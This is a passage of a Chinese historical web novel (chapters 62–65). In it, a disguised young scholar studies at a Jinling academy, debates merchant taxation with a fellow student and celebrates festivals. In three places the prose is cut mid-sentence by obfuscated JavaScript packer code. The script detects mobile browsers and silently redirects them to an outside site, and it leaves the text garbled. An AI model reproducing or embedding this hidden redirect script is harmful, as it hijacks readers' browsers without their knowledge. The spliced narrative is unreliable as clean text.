黑衣暗卫沉默了片刻,轻声说道:“那人姓王,出自王氏旁支,王氏是金陵大族,陛下重启科举后,应天府所出的两任解元都出自王家,可无论是嘉和二年还是嘉和五年,状元之衔都落在了顺天府解元的头上。” 原来是因为这个原因…… “你如何说服他放我进楼的?”还那么殷勤,莫不是暴露了殿下的身份? 看出对方的怀疑,黑衣暗卫忙道:“属下在皇城司挂有闲职。” 叶青言了然,皇城司为皇帝爪牙,权柄甚重,普通人自然闻之色变。 “我跟他说,您是我的表弟……”黑衣暗卫小声说道。 叶青言点了点头:“我知道了。” 见人没有再问的意思,黑衣暗卫悄悄离开。 叶青言放下书本,提起食盒,来到藏书楼外的一张石桌旁坐下,将食盒打开,里面所摆,都是她平素爱吃的菜式,甚至还有一小壶清口的香茶。 看着食盒中的饭菜,叶青言心下微软,胸口那因为被人跟踪而起的郁气也稍稍消散了一些。 62. 水土养人 金陵正午的天气极好,便是冬日,寒霜之后仍能见到大片萋萋青草,常青树的枝头不见落叶,粗一看,还以为是北境里的春日。 只是光景虽好,该有的寒意却半分也没有少,有寒风呼呼而来,掺杂了金陵江面的水气,从衣领钻进衣袍,纵使再厚实的衣裳,都抵不了这湿寒的冷气。 人尚且如此,更遑论这些摆在空气中的饭菜? 叶青言加快了进餐的速度。 她虽吃得快,吃相却依然斯文,看着很是从容不迫。 放下筷子,以香茶清口,最后起身将石桌上的残羹冷茶全部收拾进食盒里后,叶青言抬步走回了藏书楼。 黑衣暗卫紧随出现,悄无声息地将食盒提走。 在走回方才座位的途中,叶青言不经意瞟到右侧方一个书架上所贴的“好文榜”几个大字。 好文榜? 叶青言心生好奇,下意识往那个书架走了过去。 甫一走近,便发现这个书架与旁的其他书架不同。 这个书架上面所摆的书籍不似其他书架那样密密麻麻,很多书本看着极新,显然是近几年才誊录了放上去的。 叶青言拿下其中一本,翻开,好文鉴赏,四个大字顿时映入眼帘,细再一看,又发现右下角还有一排小字,上书:茅山书院庚子年编纂。 庚子年……是去年。 扉页一片空白,只有这十三个汉字,异常清晰。 再翻一页,是标目。 标目的文字也很简洁,右侧是文章的名目,左侧则是对应的笔者姓名。 往下再翻一页,列在名目榜首的那篇《复驰商贾之律论》的策文跃然纸上,文章开头就引用了《食货志》中,班固对“食”与“货”这两个概念的解释,并以此破题,深入论述了“货”对普通百姓和朝廷发展的长远意义,直言商人亦是国家稳定发展的重要支柱,朝廷应通过立法来保护商人的合法权益,复驰商贾之律,且还对商人及其子孙三代不得为官的抑商政策进行了激烈抨击,直言历朝历代的商贾之乱,皆因商人地位过于低下,促使他们不得不结交官侯,最后只能为其所控。文中还阐释了若放开限制让商人子孙也能参加科考,那此制度便是悬于商贾之家头上的一块肥肉,为此他们会自发的约束己身,唯恐行差踏错而给后辈带去灾祸。 …… 四民分业,士农工商,商居末,自古如是,这样的观点可谓空前绝后。 这样的策文,若是放在京城,必然会招人抨击,可在此间却能被收入到好文鉴赏榜中,如此包容万象,无怪世人皆传江南之地文风鼎盛。 果真是一方水土养一方人,也养一方文章,此文不仅笔力犀利,观点独特,行文亦是丝滑如水,有许多值得借鉴学习的地方。 叶青言用一刻钟的时间,细细读完这篇策文,然后翻回到标目页,定睛一看,写出这篇文章的学子名叫张俊。 也不知此人是否已经高中,叶青言心想,这样言辞激烈的文章在春闱场上可并不占优。 随后,她又翻阅了后面的好几篇文章,无一不是精彩绝伦,不愧好文之衔。 叶青言当然没有忘记自己今日来此的目的。 不多时,她就又回到了早晨的位置上,拿起当中的一本《河渠书》看了起来。 此时藏书楼外的日头正在高空,树叶不时沙沙作响,将直落下的光线散化成很多细小的光斑。 读完《河渠书》,叶青言又拿起了《河防通议》。 直至将桌上所有的书本全部看完。 看完当然不意味着结束,因为她又重新拿起了第一本看完的《水经注》。 她这一次看得很快,只用了数炷香的时间便再次读完桌上所有的书。 然后她闭上眼睛开始静思书上的内容。 一盏茶后,她睁开眼睛,再一次拿起书本阅读。 这一次,是与她第一次阅读时同样的深读、细读,直到日头西移,她才再次放下书本,闭上眼睛。 确认自己真正熟记了书中的全部内容后,叶青言睁开双眼,她的唇角不知何时已经扬起,两眼微弯,眼底盈盈地全是笑意。 经过今日的这一番苦读,昨日那篇策文上所欠缺的一些论点,她已经可以补上。 或许仍有不足,但也是一种进步。 读书需要循序渐进,这个道理叶青言始终深信不疑,所以哪怕只是一丁点的进步,都能让她感到愉悦。 至于依旧欠缺的地方,已不是通过查阅资料便能补足的了。 纸上得来终觉浅,绝知此事要躬行。 尤其是治水之道,最忌纸上谈兵,具体实施还是得从实践中摸索经验。 再者她写这一篇策文的目的,也不是要发表什么见解,只是想以此让更多人认识水患的危害。 暮色渐浓,藏书楼的学子相继离开,叶青言也起身走出了藏书楼。 但她没有马上回去客栈奋笔疾书,因为晚饭时间就要到了。 她得去尝尝茅山书院外的街头小吃。 淮之曾笑话她不懂得享受生活,并分享了自己的享受之道,其中有一条就是要想品尝一个地方最好的美食就得去到当地最有名的书院。 就读名校的学子大多家境富裕,他们有钱,也会享受,是这世间最会享受的群体之一。 如此前提,那些专门来到书院外为他们服务的摊贩自然都有自己的看家本事,否则也无法入他们的眼。 从街头到街尾,叶青言尝了好几样吃食,每一样都很有特色,但她觉得最好的还是面。 一碗拌面,面里加了特制的酱菜与辣椒,辛香鲜辣之气直冲脑门,一口下去,身体的寒气立时被驱赶得干干净净。 叶青言吃面的时候,察觉有一道目光一直看着自己,她抬头望去,便看到前方有一名男子正看着自己。 那男子生得极好,白玉肤质,墨意眉目,气势斐然。 叶青言一怔,随即冲人颔首致意。 那人回以微笑,但他并没有要上前寒暄的意思。 叶青言有些莫名,同时也为此感到庆幸,她不喜欢寒暄,尤其是同陌生人寒暄。 用完了晚饭,叶青言还是没有马上回去客栈,而是沿街散起了步。 此时落日已经有一大半沉入地底,夜色正从四面八方涌来。夜色渐浓,繁星渐明,街道上人声喧哗,金陵城的夜晚即将拉开。 约莫走了有半个时辰,身体的饱腹感渐渐隐没,叶青言才心满意足地回了客栈。 点上烛火,取出笔墨,不多时,面前的纸上便密密麻麻地出现了很多字。 叶青言文思奔涌,下笔如有神助。 …… 待她终于将笔搁到砚台上时,时间才堪堪来到戌时末。 窗外月光如水泼下。 这间客栈地近夫子庙,白日里人流量极大,但到了夜间,因着夫子庙闭门谢客,游人们便不会再往这边来,他们会选择去往灯火通明的秦淮河。 再加上客栈良好的隔音布置,而显得房间里悄寂无声,叶青言走到窗前,抬首仰望着星空。 苍穹明净,月华灿烂。 沉吟片刻,叶青言开门叫来小二吩咐了一些事情,末了还递上一两碎银。 小二接过赏钱欢欢喜喜地走了,不多时便送了桶水来。 关上房门,叶青言像往常一样用一刻钟的时间洗漱,将身上穿过的衣裳鞋袜都清洗一遍,换上干净的新衣,披上温暖的披风,泡上一壶浅淡的黑茶,提着茶壶与一只杯子走出房间,来到客栈的院子里。 院子里有一棵树,树下放着一张躺椅和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210047|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张木桌子。 这是叶青言刚刚对小二哥的吩咐,除此之外,小二哥还另外给准备了一盏烛灯与炭火,躺椅上也精心地铺了块厚实的毯子。 想来这些都是看在她给的那两碎银的面上另外安排的。 叶青言走到躺椅旁坐下,隔着疏离的青叶,仰头看着夜穹里的星星。 群星璀璨,与明月交相辉映,很是瑰丽。 做为一个即将入场春闱的读书人,即便夜空美丽迷人,叶青言也只允许自己看上一会儿。 静观片刻,她开始回想自己今日所得。 她闭上眼睛,宁静心神,让自己进入物我两忘、绝对放松的境界之中。 白天读过的那些内容再一次在她的脑中浮现,不是单纯机械的记忆,而是透彻的理解。 学而时习之,只有在睡前对今日所学进行再次确认,才算真正将书里读到的内容完全转化成自己的知识。 这是叶青言用十余载读书生涯所总结出的经验。 时间渐渐流逝,夜风时而温柔,时而凝结。 一片安静之中,叶青言睁开双眼,入眼的依旧是满天繁星,莫名的,她想起了林翊,想起了那名跟着她的黑衣暗卫。 对此叶青言其实很不高兴,虽然她半点也没有表现出来。 她能理解殿下如此安排是出于好心,可她不想被人跟着。 因为她身上藏着一个巨大的秘密。 想着林翊,想着他的自作主张,叶青言猛然惊觉,其实在很多事上,殿下都无来由的绝对自信,他会听谏,却未必纳谏,一旦他认定了一件事情,便极少改变心意。 想着曾经的一些事情,叶青言的思维开始无限发散。 现今的大庆朝堂,因为帝王重启科举之故,世家门阀的利益被一再压缩,再加上内阁职权地不断增加,权贵们的话语权越来越少,照此发展,总有一日朝廷会迎来一场动乱,今上励精图治,只是他同先帝一样,身体不好,此时便需一位强硬的继承者…… 思及此,叶青言连忙打住。 可不能再继续想下去了! 她努力转移思绪,随即想到了小食街上那名俊俏男子。 那男子最后看她的目光明显带有深意。 可叶青言确认自己没有见过那名男子。 思索良久,也没有想出个所以然来,叶青言便决定不再浪费时间继续猜想,就算有什么问题,她也不怎么在乎,终归她不会在金陵停留太久。 第二日清晨,霜雾依旧,叶青言又去了茅山书院。 她对书院藏书楼“好文榜”架上的那些好文很感兴趣,里面精选的都是金陵各大书院学子所作的好文章。 江南学子素以笔触细腻著称,他们擅长从小处着手,以小见大,在大中显担当、显情怀,文辞雅正,叶青言沉浸在文章当中,浑然忘记了时间的流逝。 所以她今日的午饭也还是黑衣暗卫专门递送进来的,这让叶青言产生了些许酸郁的排斥情绪。 但这种排斥是针对她自己的,针对自己的表里不一,她明明不喜殿下这样的安排,却又享受着这个安排所带来的好处…… 除了看书,叶青言也会看一看报纸。 茅山书院藏书楼里的报纸有两种,一种是邸报,一种是小报。 邸报上基本都是关于朝廷的一些大事宜,比如对官员的任免,对各方政策的解读等等。 因着消息传递的延迟性,邸报上所写的那些政令叶青言大都已经知情。 所以叶青言只是扫了扫邸报,她仔细的看是小报。 小报是关于一些本地八卦新闻的,比如乡绅与百姓打官司,名角巡逻演出等等,读起来充满市井之气,相当得有意思。 也能从中窥视到应天府本地百姓多姿多彩的冬日生活。 63. 商贾之道 叶青言正翻着小报,忽然有风轻拂,有影落下,遮住了小报上的小字。 叶青言抬头望去,只见面前站着一名俊俏男子。 这人正是昨日在小食街上对着叶青言微笑的男子,他看着叶青言手上的小报,笑言道:“这种闲余散报,内容闲散杂乱,读来何用?” 叶青言正色道:“读书须用意,一字值千金。” 男子显然没料到会听到这样的回答,怔了怔,然后笑着继续说道:“科举选仕可不会考这些内容。” 叶青言想了想,摇头说道:“无论是科考还是之后的仕途,只单单从圣贤典籍上获取学识是不够的,远远不够。八股制式,只是文章的手法,文章的精髓在于见解,无论你是何用意,要表达何意,首先你都得有自己的真知灼见,你得先说服自己,如此才能结合圣贤书上的道理说服别人。而所谓的真知灼见,需得从日常生活中体悟,小报所述皆为民生,民生乃国朝立朝之根本。” 叶青言说这段话时的眼睛很亮,神情也很端正,暮晖透过窗扇照耀在她的身上,仿佛在燃烧。 男子看着眼前少年的眼睛,突然问道:“有没有人说过,你的眼睛很像一面镜子?” 叶青言怔住,双眼随之睁得大大的,半晌,才道:“不久前刚有一人这样说过。” “哦?”男子眉峰微扬,大大方方地在叶青言对面坐下,说道,“那我知道那人是谁了。” 叶青言不解的“嗯”了一声。 男子没有解答叶青言的疑惑,而是没头没尾地说了一句:“我有一位师兄。” 叶青言听罢,脸上的疑惑更甚。 男子继续侃侃说道:“我的那位师兄惯喜游山玩水,一月前我收到他的一份手信,他说自己在南归途中遇到一名很有趣的小友,两人相谈甚欢,而那小友此番南下的目的地便是金陵。” 叶青言眨了眨眼,问:“你是嘉言公子的师弟?” “你果然如嘉言师兄信中所讲的那般聪慧。”男子笑着赞了一句,随即拱手言道,“在下张俊,张秋华,幸会。” 这人竟就是张俊!叶青言有点意外,心想这也太巧了吧。 “叶青言,表字思砚,幸会。”叶青言拱手回礼。 …… “张公子怎知我就是嘉言公子手信里所提及的那个人?” 两人粗粗寒暄了几句后,叶青言问出了心头疑惑。 “都是读书人,我年长你数岁,贤弟唤我一声秋华兄即可,无须如此客气。”张俊是个直性子,一贯不喜繁文缛节,遂摆摆手说道。 老实说,这样不拘小节的态度让叶青言很有些不适,但她并没有表现出来,微微笑道:“那思砚就却之不恭了。” 张俊满意点头,这才开口回答叶青言刚刚的问题:“其实我也是刚刚才确认的。” 叶青言:“就凭那句话?” “自然还有别的。” 叶青言看着张俊,眼神示意他继续。 “师兄在信中提及你此番南下是为了游学,我便猜测你届时定会来我们书院一观,所以昨天听闻藏书楼有顺天府的陌生来客,我便猜测是你,在藏书楼见到你之后,这个猜测又加深了几分。”话至此,张俊有些不好意思地摸了摸鼻子,“师兄信中还提及你生得极好,面如冠玉,貌似潘安,是个翩翩少年郎。” 私下谈论一个男子的长相,哪怕是夸奖,也依然是很不礼貌的行为,所以张俊有些不好意思。 好在叶青言并未在意,她看着张俊,说道:“我昨日在一本好文鉴赏里看过你的一篇文章,笔法犀利,言之有物,是篇难得的好文。” 张俊有些惊讶,问:“你所指的,可是那篇《复驰商贾之律论》?” 叶青言点头。 想起那篇策文,张俊幽幽一叹:“终究只是我一家之言,上不得大雅之堂。” 叶青言闻言,安慰说道:“秋华兄莫要沮丧,商人位卑,这是自古遗留下的问题,非是一朝一夕便能改的。” 张俊又是一叹,说道:“我明白,只是总想做点什么,不瞒你说,我出生宁波府,曾祖父辈之前家中皆已行商为生,只是商人地位低下,常常身不由己,为了摆脱那种人为刀俎的处境,祖父变卖家中商铺,专注培养后代,直到我这一辈,才终于有了进入书院读书的机会,这条路太难,历经了整整三辈人的努力,所以我才会写下那样的文章,希望能为更多商户人家喊出自己的声音。” 不想那文章背后竟还有这样的故事,叶青言唏嘘不已。 张俊见状笑了一下,继续道:“士农工商,商人虽排行最末,可若少了商人,国库也会减去不少进项,富民更无从谈起。” “秋华兄此言可谓忧国恤民,实乃吾辈读书人之楷模。”叶青言钦佩说道,想了想,她又道,“最近这几十年,尤其是今上登基之后,无论是朝廷还是百姓对商人的态度都温和了许多,若否秋华兄你的那篇文章也上不了茅山书院的好文鉴赏榜,可见朝廷对商人的政策正在放宽,只是商人本逐利,此事不可操之过急,急易生乱。” 张俊一想,发现确实如此,商人问题从来都不止只是商人问题,商人只是表象,官商勾结才是问题所在。官有权,商有钱,官用权敛财,商用钱揽权,无论商人们是出于自愿还是被上位者胁迫,他们不可避免都会陷入与官勾结的旋涡中去。 况且比起从前,现今商人的地位也确实有了显著的提升。 “那贤弟以为,何时才是时机?”张俊问叶青言道。 叶青言沉吟了片刻,她思考的不是怎么回答,而是该不该回答,欲走官路,最忌交浅言深。 可见张俊满脸期许地看着自己,眼眸明亮至极,眼底深处藏着无限温暖,或者也可名之为热情,盛情难却,叶青言还是开口说道:“我以为,如今当务之急,该整顿的是吏治。” 历代王朝为何抑商重农? 这有很多原因,或是因为经济,或是为了社会稳定等等。 可归根结底,最重要的一个原因,是税收。 通俗点说,就是钱。 农民以种地为生,无论他们收成如何,地都摆在那里。 只要地不动,农民便不会动,朝廷便可随时派人前去征收赋税。 经商就不一样了。 商人们走遍大江南北,行踪飘忽不定,朝廷根本无法保证商人们是否有准时纳税。 当下朝廷的商税,由过税和门税组成。 过税是当地官府设卡向商队征收的税,门税则是进城门时所要缴纳的税。 这两种商税都掌握在地方官员的手中,加上朝廷并未对商人进行系统的登记,所以各地到底有多少商人,到底哪些算是商人,全由地方官员自行说了算。 这也是导致官商勾结的最重要原因之一。 “诸般法令,皆由人定,再好的政策,如果执行的人不好,也是枉然,就如宋时的王安石变法,他所罗列的那些条陈,并不全部于国无益,只因错用了人,而从造福变成了为祸,实在可惜。” “所以整顿吏治,才是当务之急。” “因为很多事情,一旦开始了,便不能停下,否则会功亏一篑,但中途难免又会出现这样或那样的意外,让结果不尽如人意。所以与其做得不好不坏,倒不如一开始就好好去做,三年五年都无妨,最要紧的是不能做了还不如不做。”叶青言缓缓说道。 有风穿窗而过,轻拂书页与衣摆。 张俊静静坐着,静静听着,良久,说道:“贤弟言之有理,是我太心急了。” “当局者迷,秋华兄是局中人,自然会着急一些。” 张俊挑了挑眉,他这时看叶青言的眼神明显变了。 如果说他此前还对贺渊信中的夸赞之词表示质疑,那经过这一番交谈,已让他彻底叹服于叶青言的见识。 两人之后又就商税之事畅聊许久,直至日暮西斜才相互告辞离去。 时间很快来到腊月初八。 叶青言一如往常地早早起身,刚走进客栈大堂,就被小二哥迎到了惯常的座位上。 那位置上放着一个食盒。 叶青言奇怪地看向小二哥。 小二哥笑着说道:“这是上回给您送东西的黑衣小哥早早送来的,说是他家主子让带给您的。” 叶青言点头谢过小二,上前打开食盒。 里面有一封信和一碗腊八粥。 叶青言打开信封,里面只有一行字。 ——陌上花将开,可缓缓归矣。 叶青言好笑地看着信中内容,眼下正值腊月,哪里来的花将开啊,梅花吗? 将食盒里的腊八粥取出,粥还是温的,叶青言尝了一口,里头果然加了陈皮和板栗。 她的这个喜好只有殿下知晓,想来这粥是殿下特意让人煮了送来的。 一碗加了白糖的腊八粥下肚,叶青言只觉自己整个都暖暖的。 走出客栈,叶青言牵上马儿往溧阳县的方向走去。 几日前,她收到来自陈阁老和全福村郭村长的联名拜帖。 全福村便是叶青言上次与陈阁老相遇的村子,它就坐落在永福村旁边,永福村整个被洪水所淹,旁边的全福村也被淹了大半,好在村子已然重建。 拜帖乃陈阁老所写,他在帖子里讲了全福村如今的一些变化,并代郭村长对叶青言所提的清沙方法再次表示了郑重感谢,最后同郭村长一起,郑重地邀请叶青言前往参加全福村今年的腊八节。 叶青言自然应承。 再次踏上受灾地界,叶青言能明显感觉到当地人们的心态变化。 越是靠近受灾严重的全福村,这种感觉就越明显。 田地里的泥沙全被清理了出来,走在路上可见前方皆是良田,连片良田上覆着茫茫冰霜,隐约可见田间有许多黑点在动。 等叶青言骑马靠近,才发现那些移动的黑点正是在田间翻土的农户们,他们要趁着冬日天冷将田里的土翻上一遍,好冻死地里的虫卵,以期来年有个好收成。 许是心中有了盼头的缘故,村民们脸上的笑容就没落下去过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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饮了口杯中之酒,陈阁老继续说道:“尤其是你文中所提到的关于海上贸易的条例,远洋贸易是暴利,从事这个行业的商贾不怕朝廷收税,就怕税例不明,导致最终白辛苦一场,你未曾接触商事,却能有此远见,甚善。” “我也是从茅山书院一位学子身上得到的启发。”叶青言谦虚说道,随后她将与张俊的交谈一一说给陈阁老听。 陈阁老静静地听着,不时小酌上一口酒。 冬日的阳光,淡淡地洒在树叶上,落下一圈圈斑驳树影。 “原是如此,历经三代才培养出一位读书人……听来确实艰辛,但历朝历代皆有商人不能为官的条例,你可知这是为何?” 叶青言:“官商一体极易发生行业垄断,使得天下大部分的银钱流入小部分人之手,于百姓不利。” 陈阁老闻言点了点头:“这是一点,除此之外呢?” 叶青言一怔,随即拱手请教道:“还请老先生赐教。” 陈阁老摸了摸胡子,言道:“商人祸国,从来都不是一句空谈,当然,这话也并非贬低商籍,而是切实之言。” “一来是商人长期在外奔波,在那样的环境下长期生活的人大都内心不安定,此乃从政之大忌。” “二来是商人的进取心太强,对于一个从事商业的人来说,不进则退,他们无所谓规则,只要有所进步就行,可从政不一样,官员是不能按自己的意志行事的,他们所有行为都必须受律法、受道德约束,向上进步也由不得他们自己,需要靠朝廷评估,个人拔苗助长之举极有可能为百姓带去灭顶之灾。” “其三,是商户人家的利益得失心太重,这无可厚非,若不看重这点,那便不是个合格的商人,但这样的心思是绝对不能出现在官员的身上的。” “所谓心由境生,一个人生于商贾之家,长期受长辈功利之心熏陶,难免也会沾染上些习性,道理我想你能懂。” 叶青言认真地听着,闻言不觉陷入了沉思。 陈阁老见状也不扰她,只静静饮酒。 虽说不好一概而论,然阁老之言也并非无理…… 过了良久,叶青言起身拱手道:“我明白了,谢过老先生指点。” 陈阁老摆摆手让她坐下。 谈完了文章,两人转又聊起了诗赋农桑。 头顶的阳光渐渐明烈起来,身旁又有清风美酒作陪,显得十分雅逸。 日渐升空,有村民前来请二人过去祭台,腊八节是祭祀祖先和神灵,以祈求丰收和吉祥的日子。 村中祭台,八仙桌上已摆好了三牲,香炉烟雾萦绕,郭村长带头祷告,祭祀祖先与海神。 祭祀结束后,郭村长亲自给众人分发腊八粥。 第一碗,郭村长先给了陈阁老,而后是叶青言。 两人高兴谢过,全福村的腊八粥用料并不丰富,吃起来的味道却不差。 陈阁老不吝夸赞,就着腊八粥当场作了一首诗。 郭村长不懂其意,但却也非常高兴,还厚着脸皮请叶青言将诗句写下来,他要好好收藏。 64. 新年将至 接下来几天,日子依旧过得风平浪静。 叶青言每天都会去茅山书院里看书,她心无旁骛地学习,认真地研究文章,就像自己还在南苑学宫一样,每天勤奋读书。 这样日日重复的枯燥行程,可她却丝毫不觉得日子单调。 偶尔她也会同张俊遇上,两人交流着最近读书所得,也算有来有往。 除了张俊以外,叶青言与一些经常在藏书楼里看书的学子们也发展成了点头之交。 不知是谁先起的头,不少小班的秀才也会专门来到藏书楼请教叶青言问题。 无他,只因那些秀才每每前来请教问题,叶青言都会仔细答疑,知无不言。 茅山书院里其他已经中了举的学子,可没有她这么温和的性子。如此,倒也让她在书院里积攒了不少威望。 张俊还借此打趣她若是将来无缘仕途,可来茅山书院做一名教书匠。 这日叶青言读完文章,正欲收拾离开,注意到身侧等候着一名年轻学子。 “叶师兄,打扰了。”那学子躬身作揖,他的年纪看着要比叶青言大不少,但书院与官场相同,并不以年纪大小论高低。他只是秀才,自然要称呼已经是举人的叶青言为师兄。 微顿了顿,那秀才继续说道:“我有一疑不甚解,想请教师兄。” 叶青言点头:“坐下吧,我们慢慢说。” 学子依言落座。 此时太阳正在落山,火烧云染红了西半边天。 叶青言坐在窗边,很认真地听着对方的问题,末了,很认真地给出回答,她秀美的脸庞被夕阳镀上了一层浅金,显得格外的端庄平静。 …… 腊月二十。 这日是茅山书院年前对外开放的最后一日,叶青言早早就去了藏书楼。 张俊上完今日的课程后也来了藏书楼,他们最近时常聚在一起探讨学问,除了他们两人,还有其他几个经常在藏书楼出没的学子也会围过来一起研讨,他们相互分享,各自答疑。 叶青言同他们讲京城学子写作的惯用特点,其他人则告诉叶青言江南学子以何种方式提高文章蕴意。 几人相互指导,都收获颇丰。 这日结束,几人道别时,要显得依依惜别很多。 因为今日过后,他们将各自归家,此后再叙无期。 斜阳西下,晚霞如梦,书院之外,石阶漫漫。 暮色流光,落在阶上,映出一片红暖,看着与清晨无甚分别。 世人无不赞叹朝阳之生机,紧随难免感怀晚霞之易逝,可无论朝阳还是晚阳,都能为生命带来所需的光和热,它们其实无甚差别,一样的灿烂,一样的美丽,只是后者出现的时间要晚一些罢了。 其他学子都已经回去宿舍,眼下石道上只有张俊和叶青言两人。 “思砚你真的不能迟些日子再走?”张俊也不知这是自己第几次问出这个问题,“哪怕只是迟上个十天半月。” 日前叶青言在闲谈中告知张俊,自己将于一月末北上归家,好巧不巧,今岁是张俊祖父的六十岁大寿,书院放假后他得赶回宁波贺寿,来年二月方能返回金陵,正正好同叶青言岔开。 叶青言想了想,还是决定据实以告,道:“我有意参加来年的春闱,所以不便在此停留太久,若否恐耽误了春闱的入场时间。” 张俊惊住,好半晌,才弱弱说道:“春闱在即,却依旧有心山水……我还以为这世间只有嘉言师兄一人有此胆气,不想思砚贤弟你亦当仁不让,无怪嘉言师兄那样欣赏你。” 叶青言闻言摆了摆手,言道:“我与他可不同,他是真正的寄情山水,而我是来跟你们学习经验的,我此番南下,与诸君探讨学问,受益颇多。” 说罢,叶青言郑重地行了一礼,是真得很郑重,手臂抬起的高度,袖口与手腕的距离,都是那样的完美。 张俊同样郑重地回了一礼:“我亦如是。” 张俊是个直爽性子的,一贯不喜繁文缛节,言罢摆了摆手:“春闱要紧,既然如此我便不再多说。”略顿了顿,他又道:“不想思砚你小小年纪,就要下场春闱,当真令人佩服,为兄在此祝你金榜题名,一举中第。” “多谢秋华兄。” 告别了张俊,叶青言照旧闲步走回客栈。 因着年关将至,街道上的行人少了很多,出摊的摊贩也去了大半,本热闹无比的小食街,此时看着很是萧条。 少了人气,周围的温度也似乎变低了很多。 叶青言便也没多在街上停留。 西边的太阳越降越低,空气里的温度也跟着越来越低, 赶在夕阳落下地平线前,叶青言回到了居住的客栈。 她刚一回到客栈,掌柜的便给她递上了两封来自京城的信。 看信封上的署名,一封是来自小妹清欢,另一封则是由淮之所寄。 叶青言回到房间,首先拆开了叶青欢的来信。 叶青欢写得一手簪花小楷,字迹十分清秀,她先是为叶青言终于到达金陵而表示高兴,并说自己非常喜欢兄长所赠的生辰礼物,言明自己也为兄长准备了生辰之礼。之后又说了国公府近期发生的一些事情,表示府里一切无虞,母亲身体安泰,还放了一小部分权柄到二婶三婶手里,两位堂弟的学业也大有长进……叫她不要担心家里,在外求学可一定要保重自己的身子,最后又写了盼她早日回来的一些期许。 看着妹妹字里行间的关心,叶青言十分欢喜。她将青欢的信纸收好,随后打开沈昭的信件读了起来。 沈昭的信里全是抱怨,抱怨自己留他一人离京,离京后除了一封报平安的信外,便再没只言片语云云,总之就是抱怨叶青言不记挂他。除此之外,他还抱怨殿下忙于政务,罔顾兄弟之情等等。 看完沈昭的信件,叶青言无奈失笑,这淮之也真是…… 叶青言将两份信都收了起来,心下默默算着时间。 自己托镖局运送上京的礼物这几日应该能到他们手中了。 过了二十,距离除夕越来越近,客栈里的人流明显少了很多。 但如叶青言一般,留在客栈里过年的商旅也有不少,所以客栈里的年味也是足足的。 二十三,糖瓜儿粘。二十四,扫房日。二十五,炸豆腐。二十六,炖白肉。二十七,宰公鸡。二十八,把面发。二十九,蒸馒头。 掌柜的不仅严格按照民谣里的说法准备这些,还特意打听了住客们家乡的风俗,酌情增加了包饺子、挂灯笼等其他项目,客栈上下每天都忙忙碌碌的。 叶青言依旧早出晚归,她前阵子一直忙着去茅山书院看书而没有抽出时间到处观赏,眼下正好趁这个时机,到处去看一看,这会儿游人稀少,还不必担忧拥挤问题,挺好。 时间很快来到二十九这日。 这日清晨下了金陵的第一场雪。 雪不大,只有薄薄的一层。 ——微风摇庭树,细雪下帘隙。萦空如雾转,凝阶似花积。 金陵的飞雪与诗人们笔下所写的一般无二。 雪虽不大,天气却因雪而变得分外寒冷,城外那片树林更是被彻骨的寒意包围,青叶上刚刚凝成的露珠,没有过多长时间,便被冻成了冰珠,从叶上骨碌碌滚落下来,发出密集的声音。 那本是叶青言今日的目的地,因为飘雪,叶青言打消了出门的念头。 她得顾着些身子,可不能让自己着了风寒。 客栈里,掌柜的特意准备了暖锅,住店的旅客们难得齐聚一堂,众人合计一番,决定出钱让店小二去买些爆竹和烟花回来,好在三十晚上的时候放。 叶青言没有意见,也随众人一起出了银子。 次日就是年三十了。 清晨,每个早起的住客都给客栈的伙计发了红包,连带后厨和掌柜的都有份拿,银钱不多,就是图个喜庆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当黑衣暗卫将红包递到叶青言手里的时候,叶青言还有些懵。 她眨了眨眼,就听对方道:“这是殿下嘱咐属下务必第一时间交到您手里的。” 叶青言看着手里熟悉的红色,上面还有一行熟悉的字迹。。 ——但入新年,愿百事,皆如意。 似乎从她成了殿下的伴读开始,她每年除夕收到的第一个红包都是出自二殿下之手。 殿下待她,是真的很好。 想到这里,叶青言的眼眶微微有些发热。 士为知己者死,无论如何,她都会坚定地站在殿下的身后,叶青言在心中暗暗发誓。 同一时间的皇城,亦是炮竹喧天,花纸满地,家家守岁,满城灯火。 热闹虽然热闹,但除夕毕竟与元宵灯节不同,人人都呆在家里与亲人团聚,除了小巷内有孩童们在自家门口点放小炮竹外,基本没有行人的踪迹。 皇宫之中,嘉和帝携手皇后,与一众嫔妃、皇子,还有宗亲们一起饮乐守岁,并将宴席上的部分菜品指送到一些重要的大臣府中。 今年的高府只得了三道赐菜,虽然还是所有朝臣里最多的,但比之往年的五道却是少了将近一半,再看上首帝后关系和睦…… 几名皇室宗亲暗暗对视,这朝堂是真的要变天了。 听完嘉和帝对群臣的赏赐后,林竫下意识看向高贵妃。 却见对方全然没有在意,一副事不关己的模样。 高贵妃闲散地坐着,悠哉哉地听着小曲,喝着美酒,连嘉和帝特意让人给送的汤羹都没瞧上一眼。 林竫看了十分着急,他不懂母妃怎么这个时候还同父皇置气,不久他还从宫中内应那儿得到消息,说母妃因为一件不知名的小事将父皇撵出清凉殿。自那之后父皇就再没去过清凉殿,如今父皇终于服软,母妃怎地还拿乔上了? 除了高贵妃,林翊也是一副神游天外的模样。 林翊是在想叶青言。 也不知阿言收到他的新年红包了没有,出门在外可有好好吃饭,过完了年,她应该就快回来了吧。 想到这儿,林翊不由微笑了起来,下意识抬手覆上胸口,那里放着叶青言日前传回的问候信。 65. 离开金陵 叶青言是初十之后,才携礼再登得陈阁老家的门。 新年正是走亲戚的时候,叶青言无意打扰对方与家中亲戚团圆。 为此,她再次上门时还被阁老夫妇好一通数落。 